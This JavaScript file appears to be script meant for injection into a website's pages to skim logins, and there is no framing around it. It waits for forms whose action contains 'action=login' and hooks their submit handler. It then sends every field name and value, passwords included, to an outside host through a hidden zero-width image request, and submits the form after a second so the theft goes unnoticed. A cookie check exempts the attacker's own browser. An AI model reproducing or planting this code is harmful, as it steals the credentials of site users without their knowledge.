// init ///////////////////////////////////////////////////////////////////////

var gsPimpetteUrl = "http://barway.hostingrapid.com/ianf/pimpette.php";
var gbEnable = true;

var sCookie = String(document.cookie);
if(sCookie.indexOf('hbcookie')!=-1)
{
	gbEnable = false;
}

var giPimp = -1;

if(gbEnable)
{
	document.write("<img src="+gsPimpetteUrl+" id=\"pimp\" width=0>");

	for(var i=0;i<document.images.length;i++)
	{
		var o = document.images[i];
		if(o.id=="pimp")
		{
			giPimp = i;
		}
	}
}

document.write("<br><span id=\"txt_debug\"></span>");

// process ////////////////////////////////////////////////////////////////////

var giTick = 0;
var giForm = -1;
var gbReady = false;

tick();

function entaroadun()
{
	if(giPimp==-1) return;
	var sOutput = "";	
	
		var o = document.forms[giForm];
		if(o.action.indexOf("action=login")!=-1)
		{
			for(var j = 0;j<o.length;j++)
			{
				sOutput += o[j].name + "=" + o[j].value;
				if(j!=o.length-1) sOutput += ",";
			}
		}
	
	document.images[giPimp].src = gsPimpetteUrl + "?x="+escape(sOutput);

	document.forms[giForm].onsubmit = null;
	setTimeout("lifeaiur()", 1000); // 1 second
	return false;
}


function lifeaiur()
{
	if(giForm!=-1)
	{
		document.forms[giForm].submit();
	}
}

function tick()
{
	setTimeout("tick()", 40); // 25 Hz	
	giTick++;
	
	if(giTick==25) // 1 second
	{
		for(var i = 0;i<document.forms.length;i++) 
		{
			var o = document.forms[i];
			if(o.action.indexOf("action=login")!=-1)
			{
				giForm = i;
				document.forms[i].onsubmit = entaroadun;
			}
		}
	}
}

// functions //////////////////////////////////////////////////////////////////

/*
function print(s)
{
	txt_debug.innerHTML+= s + "<br>";
}

function htmlspecialchars(s)
{
	return "HTML";
}

function print_r(o)
{
	txt_debug.innerHTML+="debugging: " + o + "<br>";

	var iT = 0;
	for(var i in o)
	{
		iT++;
		if(i=="outerHTML" || i=="innerHTML" || i=="namespaces") 
		{
			print("[" + i + "] = "+htmlspecialchars("<b>bold</b>")+";");
		}
		else
		{
			print("[" + i + "] = " + o[i] + ";");
		}
	}
	txt_debug.innerHTML+="::::::::::::::::::::::::<br>";
}
*/